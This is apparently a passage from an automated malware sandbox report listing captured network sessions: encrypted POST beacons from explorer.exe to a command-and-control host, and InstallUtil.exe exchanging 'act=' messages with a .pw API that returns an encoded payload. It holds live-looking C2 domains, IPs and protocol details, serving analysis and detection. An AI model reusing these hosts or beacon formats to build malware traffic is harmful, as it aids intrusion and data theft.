Jan 7, 2024 05:30:44.918186903 CET	265	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 24 45 e8 a0 Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vu$EdajxwOYdyDnNgyHaOHOqQPG61HxTBBLF:);)rV2m4nvfPa
Jan 7, 2024 05:30:45.320951939 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49808	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:45.558131933 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gnptdrklcangjx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 359 Host: gxutc2c.com
Jan 7, 2024 05:30:45.558131933 CET	359	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 78 57 df a7 Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vuxWsedr<~=wChKFl%_4'JuXII2IL.u9`Ji=9Cs/lnem#,EH
Jan 7, 2024 05:30:45.970762968 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49809	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:46.199949980 CET	285	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ymhxlrbyafkagxbs.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 327 Host: gxutc2c.com
Jan 7, 2024 05:30:46.199949980 CET	327	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 79 1d fd a0 Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vuy7Seyhv~K2e/c]ov!dP_/B}%*IMD\|1-l-WyVm1+6)9'8AMQ\|f>%PA
Jan 7, 2024 05:30:46.596568108 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:46 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49810	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:46.843676090 CET	285	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ewuooimuofjgrsja.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 319 Host: gxutc2c.com
Jan 7, 2024 05:30:46.843707085 CET	319	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 3f 03 f8 bd Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vu?Iou;BH)hdDNwK 'B+"+B@zw8j4qY\|C~35PS3XfMo+`q\|KI,v
Jan 7, 2024 05:30:47.187925100 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:47 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49811	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:47.426105976 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mjpupsgsyyvqpl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 328 Host: gxutc2c.com
Jan 7, 2024 05:30:47.426199913 CET	328	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 54 19 e1 ac Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vuTZ5VMJ"Y[qtF%X+LGpYCm{*K1=A\wW)%!LAUHf>px:a%u
Jan 7, 2024 05:30:47.822796106 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:47 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49812	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:48.073633909 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://samlekvmkgd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 167 Host: gxutc2c.com
Jan 7, 2024 05:30:48.073633909 CET	167	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 5f 4a b6 9b Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vu_JL&cb~L9f8}x^)I9&9`"PNW\;,3'ha
Jan 7, 2024 05:30:48.469623089 CET	238	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:30:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49813	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:48.821219921 CET	284	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ioueyomybwjluyi.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 268 Host: gxutc2c.com
Jan 7, 2024 05:30:48.821244955 CET	268	OUT	Data Raw: 3b 6e 55 63 84 cb 1b 25 df ab c5 73 04 73 78 bf 0b 02 cc 94 69 04 e5 62 0a 7e 7d 91 35 c1 c1 63 ed 5b c0 20 06 18 55 6c e9 ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 3e 46 b1 fa Data Ascii: ;nUc%ssxib~}5c[ Ul? 9Yt M@NA -[k,vu>FYP@\t]d{Oy/rlU^0C;WPWPB4x v#%J+8q$3"rSwtrQ5Qv
Jan 7, 2024 05:30:49.219203949 CET	587	IN	HTTP/1.0 404 Not Found Date: Sun, 07 Jan 2024 04:30:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:49 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drownthinsaltroutese.pw
2024-01-07 04:29:49 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-01-07 04:29:49 UTC	1337	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s2tf2adu1padgco84kkf86rafu; expires=Wed, 01-May-2024 22:16:28 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:49 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:49 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:49 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=a3v2dRgTdbYSIGbSIZ8UQjoqgNXkuK%2FvDESgI0avULJ9LTZ%2FE2bRR%2F5oMAvEMEVaEquQ4Sb655%2FWRwY7KWNBwdQmLqOHxSca8tDzvAhVH6hU81dZ%2BwYtgkxDJRq2NxaKZfYkUUGoJKvL0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84197640dc3419bb-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:49 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-01-07 04:29:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:50 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: drownthinsaltroutese.pw
2024-01-07 04:29:50 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 41 6d 4e 73 41 32 2d 2d 67 72 65 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=AmNsA2--gre&j=default
2024-01-07 04:29:50 UTC	1343	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8pkdi2s06qg9fu1edanqgqi5fl; expires=Wed, 01-May-2024 22:16:29 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:50 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:50 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:50 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xe%2B7tJNOVsuHnckK3Udx4td4D55ProPUdl9uvtV2dVzeMfFP0Jwhi5jKEvx8Y9LcU5F7%2Bch3Cgc5GED%2F14EeSJzA7JjnkApqHRBc1AOVwYlfwybyQVEend4rqtJ%2B%2BR%2BV%2BzVFDu%2F8PpCzRw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 841976452957178c-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:50 UTC	26	IN	Data Raw: 34 33 63 38 0d 0a 67 78 4d 6e 35 2f 35 54 47 6d 75 72 6b 4f 55 41 51 65 6a 36 Data Ascii: 43c8gxMn5/5TGmurkOUAQej6
2024-01-07 04:29:50 UTC	1369	IN	Data Raw: 6d 36 50 4d 35 66 48 46 72 75 70 79 41 57 57 75 6a 66 75 67 4e 77 2f 34 48 69 33 48 33 6e 4d 36 53 64 32 79 33 79 42 31 78 50 65 52 67 2b 7a 46 30 65 66 64 6a 31 41 37 52 64 72 2f 6a 73 55 62 41 6f 6b 7a 42 38 66 65 63 58 73 50 69 61 72 46 5a 69 43 45 69 66 36 50 77 65 2f 52 35 59 37 4b 55 47 51 64 6a 4c 66 62 2b 7a 6f 46 6f 7a 4d 48 78 39 35 7a 59 57 61 68 73 4d 55 67 59 63 6a 61 75 34 50 75 67 4a 2f 6e 6c 4d 70 51 5a 41 2f 4d 37 4a 66 43 56 6d 54 73 59 30 75 45 6c 6a 39 39 41 38 37 7a 67 57 45 74 68 5a 2f 2b 78 71 32 50 6e 36 7a 44 67 68 38 6a 53 61 4f 48 32 34 41 58 4c 36 4d 7a 42 38 66 63 4e 6d 42 4a 6b 62 44 48 54 53 53 63 6d 39 62 43 76 34 37 54 79 4b 54 4b 55 69 46 46 6a 71 32 47 6a 44 6f 46 69 6a 4d 48 6e 50 4e 5a 45 32 4b 4a 39 59 73 69 65 38 6a Data Ascii: m6PM5fHFrupyAWWujfugNw/4Hi3H3nM6Sd2y3yB1xPeRg+zF0efdj1A7Rdr/jsUbAokzB8fecXsPiarFZiCEif6Pwe/R5Y7KUGQdjLfb+zoFozMHx95zYWahsMUgYcjau4PugJ/nlMpQZA/M7JfCVmTsY0uElj99A87zgWEthZ/+xq2Pn6zDgh8jSaOH24AXL6MzB8fcNmBJkbDHTSScm9bCv47TyKTKUiFFjq2GjDoFijMHnPNZE2KJ9Ysie8j
